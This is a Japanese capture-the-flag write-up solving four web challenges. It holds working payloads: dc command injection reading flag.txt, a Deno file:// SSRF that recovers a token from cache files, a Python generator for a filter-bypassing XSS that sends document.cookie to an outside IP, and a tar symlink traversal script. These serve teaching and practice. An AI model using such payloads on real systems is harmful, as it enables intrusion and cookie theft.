7/8 - 7/10という日程で開催された。今回はSatoooonさんのWeb問目当てにソロチーム( 'ᾥ' )で参加して56位だった。そこそこ早くWebを全完できて嬉しい。
- [Web 100] sequence_gallery (101 solves)
- [Web 793] safe_proxy (25 solves)
- [Web 940] hex2dec (14 solves)
- [Web 983] archive_stat_viewer (8 solves)
[Web 100] sequence_gallery (101 solves)
Do you like sequences?
Author : Satoooon
添付ファイル: sequence_gallery.zip
色々な計算をしてくれる便利なWebアプリ。計算式を選ぶと /?sequence=fibonacchi
のようなURLに遷移し、次のようにその結果が表示される。
メインの処理である main.py
は次の通り。簡単な作りになっていて、クエリパラメータで指定された sequence
に .dc
という拡張子を結合して、それを dc
コマンドで実行している。同じディレクトリには factorial.dc
, fibonacchi.dc
, power.dc
といった dc
コマンド向けのスクリプトのほか、flag.txt
というテキストファイルも存在している。なるほど、flag.txt
を読めということか。
import os import sqlite3 import subprocess from flask import Flask, request, render_template app = Flask(__name__) @app.get('/') def index(): sequence = request.args.get('sequence', None) if sequence is None: return render_template('index.html') script_file = os.path.basename(sequence + '.dc') if ' ' in script_file or 'flag' in script_file: return ':(' proc = subprocess.run( ['dc', script_file], capture_output=True, text=True, timeout=1, ) output = proc.stdout return render_template('index.html', output=output) if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
subprocess.run(['dc', script_file], …)
というような処理から、dc
コマンドのオプションでなにかできないかなと思う。試しに /?sequence=-h
にアクセスしてみると、以下のように表示された。なんかできそう。-e
というオプションでコマンドラインから与えた dc
の式を実行できるというのは気になる。
man dc
で dc
の式でできそうな悪いことを調べていると、あった。!
というコマンドを使うと、それ以降の文字列をOSコマンドとして実行してくれるらしい。これで flag.txt
を読みたい。
Miscellaneous
! Will run the rest of the line as a system command. Note that parsing of the !<, !=, and !> commands
take precedence, so if you want to run a command starting with <, =, or > you will need to add a space
after the !.
(半角スペース)や
flag.txt
が sequence
に含まれていると弾かれるのがちょっと面倒だが、半角スペースは水平タブで代替できるし、flag
を含めずとも cat f*
で flag.txt
を読めばいい。/?sequence=-e!cat%09f*%09*
でフラグが得られた。
crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}
[Web 793] safe_proxy (25 solves)
Deno sandbox prevents SSRF, right?
Author : Satoooon
添付ファイル: safe_proxy.zip
safe_proxy.zip
を展開すると flag_provider
と web
という2つのディレクトリが出てくる。それぞれ別の Dockerfile
が含まれており、これら2つのサービスからなっているようだ。なお、我々がアクセスできるのは後者のみ。
まずは前者から見ていく。メインの main.js
は次の通り。/
はフラグを返してくれるけれども、フラグを返す条件として token
というクエリパラメータの値が、環境変数の PROVIDER_TOKEN
と一致している必要がある。もちろん、その値は我々にはわからない。
import { Application, helpers } from 'https://deno.land/x/oak/mod.ts'; const HOST = '0.0.0.0'; const PORT = 8080; let PROVIDER_TOKEN = Deno.env.get('PROVIDER_TOKEN'); const FLAG = await Deno.readTextFile('./flag.txt'); const app = new Application(); app.use((ctx) => { const params = helpers.getQuery(ctx); if (!params.token) return; const token = params.token; if (token === PROVIDER_TOKEN) { ctx.response.body = `export const FLAG = '${FLAG}';`; }; }); app.addEventListener('listen', ({ hostname, port }) => { console.log(`Listening on: ${hostname}:${port}`); }); await app.listen({ hostname: HOST, port: PORT });
web
のメインのコードは次の通り。最初に flag_provider
からフラグを取ってきているが、以降 FLAG
はそのハッシュ値の計算にしか使われていない。/
というフラグのハッシュ値を返すAPIのほかは、/proxy
という指定されたURLを fetch
しに行くAPIがある。
ただし、run.sh
というこの main.js
を実行するためのスクリプト中にある deno run --no-prompt --allow-net="0.0.0.0:8080,$PROVIDER_HOST" --allow-read=. --allow-env ./main.js
というOSコマンドからわかるように、fetch
で取得できる対象は限られている。0.0.0.0:8080
と $PROVIDER_HOST
(flag_provider
のホスト名)が --allow-net
で許可されているが、フラグの取得後に後者は Deno.permissions.revoke
でrevokeされてしまっており、実質的に 0.0.0.0:8080
からしか取得できないことがわかる。
import { Application, Router, helpers } from 'https://deno.land/x/oak/mod.ts'; import { encode } from 'https://deno.land/std/encoding/hex.ts'; const HOST = '0.0.0.0'; const PORT = 8080; const PROVIDER_TOKEN = Deno.env.get('PROVIDER_TOKEN'); const PROVIDER_HOST = Deno.env.get('PROVIDER_HOST'); const { FLAG } = await import(`http://${PROVIDER_HOST}/?token=${PROVIDER_TOKEN}`); // no ssrf! await Deno.permissions.revoke({ name: 'net', host: PROVIDER_HOST}); const router = new Router(); router .get('/', async (ctx) => { const encoded = new TextEncoder().encode(FLAG); const hash_buff = await crypto.subtle.digest('sha-256', encoded); const hash = new TextDecoder().decode(encode(new Uint8Array(hash_buff))); const html = await Deno.readTextFile('./index.html'); ctx.response.body = html.replace('{HASH}', hash); }) .get('/proxy', async (ctx) => { const params = helpers.getQuery(ctx); if (!params.url) { ctx.response.body = 'missing url'; return; } const url = params.url; const fetchResponse = await fetch(url); ctx.response.body = fetchResponse.body; }) ; const app = new Application(); app.use(router.routes()); app.use(router.allowedMethods()); app.addEventListener('listen', ({ hostname, port }) => { console.log(`Listening on ${hostname}:${port}`); }); await app.listen({ hostname: HOST, port: PORT });
ところで、Denoでは次のように file
スキームを使うことで、fetch
でローカルファイルの内容を取得できる。
$ docker run --rm -it denoland/deno:1.32.3 repl Deno 1.32.3 exit using ctrl+d, ctrl+c, or close() > await fetch('file:///etc/passwd') ✅ Granted read access to "/etc/passwd". Response { body: ReadableStream { locked: false }, bodyUsed: false, headers: Headers {}, ok: true, redirected: false, status: 200, statusText: "OK", url: "file:///etc/passwd" }
今回は --allow-read=.
というオプションが付与されているのでカレントディレクトリである /home/app
以下のファイルしか参照できない。試しに /home/app
下にどんなファイルやディレクトリがあるか確認してみる。お、.cache
というディレクトリがある。
app@d5d01e71f953:~$ ls -la total 28 drwxrwxrwx 1 root root 4096 Jul 9 06:21 . drwxr-xr-x 1 root root 4096 Jul 9 02:17 .. drwxr-xr-x 3 app app 4096 Jul 9 06:21 .cache -rwxrwxrwx 1 root root 157 Jul 9 00:35 index.html -rwxrwxrwx 1 root root 1387 Jul 9 00:35 main.js -rwxrwxrwx 1 root root 111 Jul 9 00:35 run.sh
.cache/deno
下には、以下のように依存しているパッケージのキャッシュなどが保存されているらしい。
app@d5d01e71f953:~$ ls -la .cache/ total 12 drwxr-xr-x 3 app app 4096 Jul 9 06:21 . drwxrwxrwx 1 root root 4096 Jul 9 06:21 .. drwxr-xr-x 5 app app 4096 Jul 9 06:21 deno app@d5d01e71f953:~$ ls -la .cache/deno/ total 252 drwxr-xr-x 5 app app 4096 Jul 9 06:21 . drwxr-xr-x 3 app app 4096 Jul 9 06:21 .. -rw-r--r-- 1 app app 188416 Jul 9 06:21 dep_analysis_cache_v1 -rw-r--r-- 1 app app 0 Jul 9 06:21 dep_analysis_cache_v1-journal drwxr-xr-x 4 app app 4096 Jul 9 06:21 deps drwxr-xr-x 3 app app 4096 Jul 9 06:21 gen -rw-r--r-- 1 app app 85 Jul 9 06:21 latest.txt -rw-r--r-- 1 app app 36864 Jul 9 06:21 node_analysis_cache_v1 -rw-r--r-- 1 app app 0 Jul 9 06:21 node_analysis_cache_v1-journal drwxr-xr-x 2 app app 4096 Jul 9 06:21 npm
では、最初のdynamic importで取得してきた flag_provider
はキャッシュされているだろうか。grep
で探してみると、あった。謎のハッシュ値がファイル名として使われている。同じディレクトリには (同じハッシュ値).metadata.json
というファイルもある。この謎のハッシュ値をなんとかして手に入れられないだろうか。
app@d5d01e71f953:~$ grep -rl "dummy{dummy}" . ./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2 app@d5d01e71f953:~$ cat ./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2 export const FLAG = 'dummy{dummy}'; app@d5d01e71f953:~$ ls -la ./.cache/deno/deps/http/172.17.0.1_PORT8082/ total 16 drwxr-xr-x 2 app app 4096 Jul 9 06:21 . drwxr-xr-x 3 app app 4096 Jul 9 06:21 .. -rw-r--r-- 1 app app 35 Jul 9 06:21 f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2 -rw-r--r-- 1 app app 284 Jul 9 06:21 f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2.metadata.json
Denoのリポジトリで metadata.json
を検索してみる。write_metadata_at_path
というメソッドが見つかった。これの引数として与えられている path
がどう作られているか知りたい。このメソッドは2箇所から呼び出されているが、いずれにしても get_cache_filepath_internal
を使っている。このメソッドでは、url_to_filename
という関数でURLからファイル名に変換をしているようだ。ここで、SHA-256のハッシュ値は次のようにして計算されている。URLのパスとクエリパラメータを結合しているらしい。
let mut rest_str = url.path().to_string(); if let Some(query) = url.query() { rest_str.push('?'); rest_str.push_str(query); } // NOTE: fragment is omitted on purpose - it's not taken into // account when caching - it denotes parts of webpage, which // in case of static resources doesn't make much sense let hashed_filename = util::checksum::gen(&[rest_str.as_bytes()]);
そのクエリパラメータである PROVIDER_TOKEN
が未知だから困るんだなあ。なんとかしてこのクエリパラメータや、ハッシュ値そのものがほかの方法で得られないか考える。.cache
以下のファイルで flag_provider
のホスト名を探してみると、次のように .cache/deno/dep_analysis_cache_v1
というファイルが見つかった。これだ。
app@d5d01e71f953:~$ grep -rl "172.17.0.1" . ./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2.metadata.json ./.cache/deno/dep_analysis_cache_v1
問題サーバで /proxy?url=file:///home/app/.cache/deno/dep_analysis_cache_v1
にアクセスしてみると、SQLiteのDBがダウンロードできた。その中身を見ると、5a35327045b0ec9159cc188f643e347f
が PROVIDER_TOKEN
であるとわかった。
$ sqlite3 dep_analysis_cache_v1 SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite> select specifier from moduleinfocache where specifier like '%token%'; http://safe-proxy-flag-provider:8082/?token=5a35327045b0ec9159cc188f643e347f
これを元にさっきのハッシュ値を計算する。/proxy?url=file:///home/app/.cache/deno/deps/http/safe-proxy-flag-provider_PORT8082/70ec621b0141f80c80d9e26b084da38df4bbf6b4b64d04c837f7b3cd5fe8482b
にアクセスすると以下のようなJSコードが表示され、フラグが得られた。
export const FLAG = 'crew{file://_SSRF_in_modern_6f4544ec261423ce}';
crew{file://_SSRF_in_modern_6f4544ec261423ce}
[Web 940] hex2dec (14 solves)
Converting from hexadecimal to decimal is a pain.
Author : Satoooon
添付ファイル: hex2dec.zip
16進数を10進数に変換してくれる便利なWebアプリ。
以下のように httpOnly
ではないフラグを含んだCookieを携えて、botがこのWebアプリにアクセスし、指定した「16進数の数値」を10進数に変換してくれる。いい感じにXSSを引き起こせるような「16進数の数値」を作れということらしい。
await page.setCookie({ name: 'FLAG', value: FLAG, domain: `${APP_HOST}:${APP_PORT}`, httpOnly: false });
16進数を10進数に変換してくれるWebアプリのソースコードは次の通り。CSPは微妙に厳しく、基本的にはどんなリソースの読み込みも許さないけれども、JavaScriptに関してはインラインのものの実行を許可してくれるらしい。
変換対象の文字列については、/^[0-f +-]+$/
という正規表現にマッチしているかチェックされている。おっと、なぜ 0-9a-f
でなく 0-f
なのだろう。これだと余計な文字も結構含まれてしまうのではないか。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'unsafe-inline';"> <title>hex2dec tool</title> </head> <body> <form method="GET"> <input type="text" name="v" placeholder="deadbeef"> <input type="submit" value="To decimal"> </form> <div id="result"> </div> <script type="text/javascript"> const params = new URLSearchParams(document.location.search.substring(1)); const v = params.get("v"); if (/^[0-f +-]+$/g.test(v)) { result.innerHTML = `${v} = ${parseInt(v, 16)}`; } </script> </body> </html>
雑に以下のようなスクリプトで使用可能な文字を確認する。大文字全部と []
、それからバックティックが使えるのはありがたいけれども、小文字が abcdef
の6文字しか使えないのはつらい。ところで、このようなフィルターを見るとCODEGATE CTF 2023 QualsのCalculatorを思い出す。前回はフィルターの突破ができなかったので、リベンジ(?)開始だ。
let s = ''; for (let i = 0; i < 0x100; i++) { if (/^[0-f +-]+$/g.test(String.fromCharCode(i))) { s += String.fromCharCode(i); } } console.log(s); // " +-0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdef"
まずはどうやってXSSするかだが、これは <IMG SRC=X ONERROR=(JSコード)>
のようにすればよい。
ではどうやって制限の範囲内である程度自由にJSコードを実行できるようにするか。基本的にはJSF*ckと同じ考え方で、[]
によるプロパティアクセスと文字列の組み立てによってなんとかしていく。簡単には作れない文字もいくつかあるが、それもJSF**kのソースコードを参考にすればよい。''.constructor.constructor('return 123')()
のようにして Function
にアクセスし、eval
相当のことができたらいいのだけれども、残念ながら今回はCSPが script-src 'unsafe-inline'
となっていて、'unsafe-eval'
が含まれていないので使えない。
どんな挙動をするJSコードを作りたいか。目標は document.cookie
にアクセスして、CSP回避のために location.href = 'https://example.com?' + document.cookie
のようなリダイレクトでCookieを抜き出すこと…なのだけれども、どうやれば eval
相当のことをせず document
や location
にアクセスできるだろうか。
ちょっと考えて、iframe
の contentWindow
を思い出す。<IMG SRC=X ONERROR=…><IFRAME ID=X>
のようにすれば、DOM Clobberingと同じ要領で X.contentWindow
のようにしてこの追加した iframe
、そしてその contentWindow
にアクセスできる。遷移に関しては、安直に X.location = '…'
のようにするとCSPの default-src 'none'
に引っかかってしまうが、X.parent.location = '…'
のように parent
や top
を使って iframe
を開いている側のウィンドウにアクセスすればよい。
このアプリのフィルターはJS****の6種類の文字しか使えないという制限に比べるとだいぶゆるいので、たとえば true
, false
はそれぞれ 0==0
, 1==0
に、[object …]
というような文字列は大文字の適当なオブジェクトの CSS
を持ってきて CSS+`…`
で作って、といったように結構楽ができる。()
が使えないのが不便だが、関数呼び出しについてはテンプレートリテラルが使えるので、alert`hoge`
のようにバックティックを代替とし、また演算子の優先順位の都合でカッコで囲みたい箇所では、[[1==0]+`…`][0][1]
のようにブラケットを代わりに使えばよい。
constructor
のような長い文字列が出現するたびにいちいち 'c'+'o'+…
と生成していてはペイロードが長くなってしまうので、同じ文字列を何度も使うような場合は C='c'+'o'+…
のような感じで適当な変数に入れておき、それを参照するようにする。
こんな感じの戦略でいい感じにフィルターをバイパスして X.parent.location = '//2130706433\\' + X.contentWindow.document.cookie
相当のことをするJSコードを生成するPythonスクリプトが以下。
m = { 'c': '[CSS+``][0][5]', 'o': '[CSS+``][0][1]', 'n': '[``[0]+``][0][6]', 's': '[[1==0][0]+``][0][3]', 't': '[[0==0][0]+``][0][0]', 'r': '[[0==0][0]+``][0][1]', 'u': '[[0==0][0]+``][0][2]', ' ': '[CSS+``][0][7]', 'a': '[[1==0][0]+``][0][1]', 'e': '[[1==0][0]+``][0][4]', 'i': '[``[0]+``][0][5]', 'd': '[``[0]+``][0][2]', 'l': '[[1==0][0]+``][0][2]', } def encode(s): return '+'.join(m[c] for c in s) long_ip = '(127.0.0.1 → 2130706433みたいなやつ)' constructor = encode('constructor') # 'constructor' string = f'``[{constructor}]' # String number = f'0[{constructor}]' # Number m['g'] = f'[{string}+``][0][14]' m['m'] = f'[{number}+``][0][11]' string_s = f'{string}[{encode("name")}]' # 'String' PREAMBLE = f'TOS={encode("to")}+{string_s};' m['p'] = f'211[TOS]`31`[1]' m['w'] = f'32[TOS]`33`' m['k'] = f'20[TOS]`21`' m['/'] = f'[``[{encode("link")}]``][0][12]' payload = PREAMBLE + f'W=X[{encode("content")}+`W`+{encode("indow")}];C=W[{encode("document")}][{encode("cookie")}];W[{encode("parent")}][{encode("location")}]={encode("//")}+{long_ip}+`\\\\`+C' print(f'<IMG SRC=X ONERROR={payload}><IFRAME ID=X>')
生成されたペイロードを通報するとフラグが得られた。
crew{dom_clobbering_is_helpful_for_a_restricted_xss}
[Web 983] archive_stat_viewer (8 solves)
Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..". > > https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
I'm aware this warning but didn't know what to do right. Is this okay?
Author: Satoooon
添付ファイル: archive_stat_viewer.zip
このWebアプリは tar
ファイルをアップロードするといい感じに解析してくれるものだ。適当な tar
ファイルを上げると、次のようにJSONでどんなファイルが含まれていたか返してくれる。
メインのコードは次の通り。どの問題もそうだったけれども、これもミニマルな感じで読みやすくて嬉しい。なお、フラグは同じディレクトリの flag.txt
に保存されている。
from pathlib import Path from uuid import uuid4 from secrets import token_hex from datetime import datetime import os import tarfile import json import shutil from flask import Flask, request, session, send_file, render_template, redirect, make_response app = Flask(__name__) app.config['SECRET_KEY'] = open('./secret').read() app.config['MAX_CONTENT_LENGTH'] = 1024 * 128 UPLOAD_DIR = Path('./archives') class HackingException(Exception): pass def extract_archive(archive_path, extract_folder): with tarfile.open(archive_path) as archive: for member in archive.getmembers(): if member.name[0] == '/' or '..' in member.name: raise HackingException('Malicious archive') archive.extractall(extract_folder) def get_folder_info(extract_folder): data = {} for file in extract_folder.iterdir(): stat = file.lstat() name = file.name size = stat.st_size last_updated = datetime.utcfromtimestamp(stat.st_mtime).strftime('%Y-%m-%d %H:%M:%S') data[file.name] = {} data[file.name]['Size'] = size data[file.name]['Last updated'] = last_updated return data @app.get('/') def index(): if 'archives' not in session: session['archives'] = [] return render_template('index.html', archives = session['archives']) @app.get('/results/<archive_id>') def download_result(archive_id): if 'archives' not in session: session['archives'] = [] archive_id = Path(archive_id).name return send_file(UPLOAD_DIR / archive_id / 'result.json') @app.get('/clean') def clean_results(): if 'archives' not in session: session['archives'] = [] for archive in session['archives']: shutil.rmtree(UPLOAD_DIR / archive['id']) session['archives'] = [] return redirect('/') @app.post('/analyze') def analyze_archive(): if 'archives' not in session: session['archives'] = [] archive_id = str(uuid4()) archive_folder = UPLOAD_DIR / archive_id extract_folder = archive_folder / 'files/' archive_path = archive_folder / 'archive.tar' result_path = archive_folder / 'result.json' extract_folder.mkdir(parents=True) archive = request.files['archive'] archive_name = archive.filename archive.save(archive_path) try: extract_archive(archive_path, extract_folder) except HackingException: return make_response("Don't hack me!", 400) data = get_folder_info(extract_folder) with open(result_path, 'w') as f: json.dump(data, f, indent=2) session['archives'] = session['archives'] + [{ 'id': archive_id, 'name': archive_name }] return redirect('/') if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
アップロードされた tar
ファイルは次のようにして解析される:
- その
tar
ファイルに対応するUUIDv4が生成される(以降、解析結果の参照等に使う) /web-apps/src/archives
下にそのUUIDの名前でディレクトリが作成される(以下、作業ディレクトリとする)(作業ディレクトリ)/archive.tar
にtar
ファイルを保存する(作業ディレクトリ)/files/
下にtar
ファイルを展開する(作業ディレクトリ)/result.json
下に展開されたファイルの情報を取得・保存する(以降、/results/(UUID)
でresult.json
の内容を参照できる)
tar
ファイルの展開は以下のようにZip Slip的なことができる extractall
が使われているのだけれども、/
から始まっていないか(絶対パスを弾きたいらしい)、..
が含まれていないか(ディレクトリをさかのぼれないようにしたいらしい)を見てPath Traversalを防ごうとしている。
def extract_archive(archive_path, extract_folder): with tarfile.open(archive_path) as archive: for member in archive.getmembers(): if member.name[0] == '/' or '..' in member.name: raise HackingException('Malicious archive') archive.extractall(extract_folder)
なるほど、真正面からPath Traversalを狙うのは難しそう。でも、シンボリックリンクであるかどうかはチェックされていない。すでに解析済みである適当なアーカイブについて、report.json
をPath Traversalで /web-apps/src/flag.txt
に置き換えて、/results/(UUID)
でその内容を参照ということができないかと考えた。
でも、どうやってそのPath Traversalをするのか。もう一段シンボリックリンクを使えばよい。以下の2つのシンボリックを含む tar
ファイルがあるとして、上から順番に展開されるとどうなるだろうか。2つ目のファイルの展開時に、/web-apps/src/archives/(UUID)/report.json
というファイルが、/web-apps/src/flag.txt
へ向けたシンボリックリンクで置き換えられる。
aaa
というファイル名の、/web-apps/src/archives/(UUID)/
へ向けたシンボリックリンクaaa/report.json
というファイル名の、/web-apps/src/flag.txt
へ向けたシンボリックリンク
ということで、このような tar
ファイルを生成するPythonスクリプトを書く。
import os import tarfile import tempfile with tempfile.TemporaryDirectory() as dir: os.symlink('/web-apps/src/archives/45da2988-9432-4dee-a952-55300e249d47', f'{dir}/aaa') os.symlink('/web-apps/src/flag.txt', f'{dir}/bbb') with tarfile.open('exp.tar', 'w') as f: f.add(f'{dir}/aaa', 'aaa') f.add(f'{dir}/bbb', 'aaa/result.json')
生成された exp.tar
をアップロードし、/results/45da2988-9432-4dee-a952-55300e249d47
にアクセスすると、フラグが得られた。
crew{fixing_zip/tar_slip_vulnerability_is_hard}